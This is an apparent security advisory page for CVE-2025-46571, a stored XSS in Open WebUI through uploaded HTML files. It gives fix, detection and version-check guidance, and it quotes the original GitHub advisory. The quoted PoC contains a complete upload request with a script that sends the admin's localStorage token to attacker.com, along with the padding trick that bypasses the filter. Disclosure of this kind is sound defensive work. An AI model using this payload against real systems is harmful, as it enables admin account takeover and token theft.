AgentbeamBeta
AI agent vulnerability · Open WebUI

CVE-2025-46571: Open WebUI allows limited stored XSS vila uploaded html file

mediumCVSS 4.0 6.4GHSA-8gh5-qqh8-hq3x

Open WebUI before 0.6.6 lets a low-privileged user upload an HTML file containing JavaScript through the file upload API, then serve it back from the file content endpoint. A link sent to an admin runs the script in the admin's browser and can steal their token. Fixed in 0.6.6.

Published Jul 7, 2026 · Analysis Nov 23, 2026

What an attacker can do

A user posts an HTML file to /api/v1/files/. The server returns a file id, and the file can be opened in the browser at the file content endpoint with an html suffix. The script then runs in the Open WebUI origin. The advisory's payload reads the token from localStorage and sends it to an attacker's server. The report notes that a file with only a script tag was rejected by some sanitization, but adding a heading as padding, a text/html content type and a .html filename got it through.

By default, files from low-privileged users can be viewed only by their uploader and admins (the access check in routers/files.py). That limits the impact to one target: an admin. The attacker sends the admin the link, and if the admin opens it, the script runs with the admin's session. With the admin token, the attacker gets full control of the account and, through the admin functions feature that runs Python on the server, remote code execution. This is why the advisory calls it limited stored XSS, and rates it medium.

Who is affected

pip package open-webui before 0.6.6. Any instance that lets ordinary users upload files is exposed, and the target is an admin who clicks a link. Check the version:

pip show open-webui

For Docker, check the image tag in use.

open-webui

Ecosystem
PyPI
Affected
< 0.6.6
Fixed in
0.6.6
Check
pip show open-webui

How to fix it

Upgrade to open-webui 0.6.6:

pip install --upgrade open-webui==0.6.6

The fix commit changes get_html_file_content_by_id in backend/open_webui/routers/files.py to look up the uploader's role. The advisory lists no workaround. Until you upgrade, do not open file links from untrusted users while logged in as an admin, and consider restricting file uploads to trusted accounts.

How to tell if you were hit

Look in the uploaded files store for HTML files uploaded by non-admin users, and in access logs for requests to file content paths ending in html, especially by admin sessions. Review the admin Functions list for code you did not add, and check for outbound requests carrying a token parameter. The sources do not report exploitation in the wild.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

Low privileged users can upload HTML files which contain JavaScript code via the /api/v1/files/ backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.

Details

The following HTTP request can be sent to the backend server to upload a file with the contents: <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>

POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--

Note the filename="test.html" , Content-Type: text/html, and <h1>padding</h> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a <script> tag.

The backend server responds to the above request with JSON data that contains an id parameter.

image

This ID can be used to view the uploaded file in the browser at <Backend_URL>/api/v1/files/<file_id>/content/html

Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.

PoC

First, upload an html containing JavaScript code to the backend server using the following HTTP request:

POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--

Then copy the id from the response and use it to view the file in the browser at <Backend_URL>/api/v1/files/<file_id>/content/html

Impact

Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766

Credited to choket.

Questions

Why is CVE-2025-46571 rated only medium?

Files from low-privileged users are visible only to their uploader and admins by default. The attacker therefore needs an admin to open the link, which limits the reach.

What can the attacker do after a successful hit?

Steal the admin's token and take over the account. The advisory ties this to remote code execution through admin functions, which run Python on the backend server.

Which version fixes it?

Open WebUI 0.6.6, the same release that fixes the stored XSS in chat markdown rendering, CVE-2025-46719.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Open WebUI vulnerabilities

All Open WebUI entries